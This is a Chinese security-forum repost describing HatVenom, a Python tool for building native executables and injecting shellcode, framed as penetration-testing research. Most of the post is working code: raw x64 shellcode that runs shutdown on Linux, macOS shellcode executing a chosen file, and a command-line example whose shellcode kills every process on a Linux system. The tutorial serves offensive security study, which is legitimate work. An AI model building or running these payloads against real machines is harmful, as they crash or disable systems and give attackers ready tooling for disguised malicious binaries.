安全矩阵

 找回密码
 立即注册
搜索
查看: 944|回复: 0

​ 使用HatVenom生成强大的原生Payload并实现Shellcode注入

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-8-9 22:40:57 | 显示全部楼层 |阅读模式
本帖最后由 1337163122 于 2021-8-9 22:42 编辑

使用HatVenom生成强大的原生Payload并实现Shellcode注入Alpha_h4ck [url=]FreeBuf[/url] 3天前
HatVenom是一款功能强大的本地Payload生成和Shellcode注入工具,可以帮助广大研究人员针对多种常见操作系统平台或架构进行渗透测试研究。
功能介绍
支持大多数常见的可执行格式,例如elf、macho、pe等。
支持大多数常见的平台架构,例如x64、x86、aarch64、armle、mipsle、mipsbe等。
能够通过修改预定义偏移量来修改Shellcode。
工具安装由于HatVenom使用Python3开发,因此首先需要在本地设备上安装并配置好Python3环境。接下来,广大研究人员可以使用下列命令下载并安装HatVenom:
pip3 install git+https://github.com/EntySec/HatVenom
基础函数下面给出的是HatVenom所有的基础函数,可以用于生成Pyaload、转换数据或注入Shellcode:
ip_bytes(ip):将IP地址转换为Shellcode所支持的字节数据;
port_bytes(port):将数字端口号转换为Shellcode所支持的字节数据;
string_bytes(string):将字符串转换为Shellcode所支持的字节数据;
generate(file_format, arch, shellcode, offsets={}):针对指定的目标设备生成Payload和Shellcode;
generate_to(file_format, arch, shellcode, offsets={}, filename=’a.out’):针对指定的目标设备生成Payload和Shellcode,并存储至一个指定的文件中;
生成Payload在HatVenom的帮助下,我们可以轻松针对不同的目标设备快速生成Payload。比如说,我们针对Linux生成一个简单的名为“shutdown”的Payload,并将其存储至“a.out”文件中:
  1. from hatvenom import HatVenom



  2. shellcode = (

  3.     b"\x48\x31\xc0\x48\x31\xd2\x50\x6a"

  4.     b"\x77\x66\x68\x6e\x6f\x48\x89\xe3"

  5.     b"\x50\x66\x68\x2d\x68\x48\x89\xe1"

  6.     b"\x50\x49\xb8\x2f\x73\x62\x69\x6e"

  7.     b"\x2f\x2f\x2f\x49\xba\x73\x68\x75"

  8.     b"\x74\x64\x6f\x77\x6e\x41\x52\x41"

  9.     b"\x50\x48\x89\xe7\x52\x53\x51\x57"

  10.     b"\x48\x89\xe6\x48\x83\xc0\x3b\x0f"

  11.     b"\x05"

  12. )



  13. hatvenom = HatVenom()

  14. hatvenom.generate_to('elf', 'x64', shellcode)
复制代码
Payload偏移量Payload偏移量是一个变量,可以用于在预处理阶段向shelcode添加内容。偏移量样例如下:

           

\x90\x90\x90\x90:message:string:\x90\x90\x90\x90
其中的“message”即为偏移量名称,“string”为偏移量类型。因此,偏移量的基本使用方式如下:

           

[shellcode]:[name]:[type]:[shellcode]
下面给出的是几种偏移量类型:
string:在预处理阶段需要转换为字节数据的明文内容;
ip:在预处理阶段需要转换为字节数据的IP地址;
port:在预处理阶段需要转换为字节数据的数字端口号;
因此,如果你想要替换其中的字节数据,而不是string、ip或port的话,可以使用下列命令形式:

           

[shellcode]:[name]:[shellcode]
接下来,我们生成一个简单的Payload,它将执行偏移量文件“file”(针对macOS)并存储至“a.out”中:
  1. from hatvenom import HatVenom



  2. shellcode = (

  3.     b"\x48\x31\xf6\x56\x48\xbf"

  4.     b":file:string:"

  5.     b"\x57\x48\x89\xe7\x48\x31"

  6.     b"\xd2\x48\x31\xc0\xb0\x02"

  7.     b"\x48\xc1\xc8\x28\xb0\x3b"

  8.     b"\x0f\x05"

  9. )



  10. hatvenom = HatVenom()

  11. hatvenom.generate_to('macho', 'x64', shellcode, {'file':'//bin/ps'})
复制代码
HatVenom命令行接口HatVenom也提供了自己的命令行接口,可以通过执行命令“hatvenom”来调用:
  1. usage: hatvenom [-h] [--format FORMAT] [--arch ARCH] [--shellcode SHELLCODE]

  2.                 [--offsets OFFSETS] [-o OUTPUT] [-l]



  3. Powerful payload generation and shellcode injection tool that provides support

  4. for common platforms and architectures.



  5. optional arguments:

  6.   -h, --help            显示这个帮助信息并退出

  7.   --format FORMAT      针对的目标平台

  8.   --arch ARCH           针对的目标架构

  9.   --shellcode SHELLCODE

  10.                         待注入的Shellcode

  11.   --offsets OFFSETS        Shellcode偏移量

  12.   -o OUTPUT, --output OUTPUT

  13.                         用于存储生成Payload的文件

  14.   -l, --list                列出所有的格式和平台
复制代码

使用样例我们可以生成一个针对Linux的简单Payload,该Payload将会终止目标Linux系统上所有进程的运行,并将其存储至“a.out”中:

           

hatvenom --format elf --arch x64 --shellcode "\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05"
项目地址HatVenom:【点击文末阅读原文】

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 13:51 , Processed in 0.012472 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表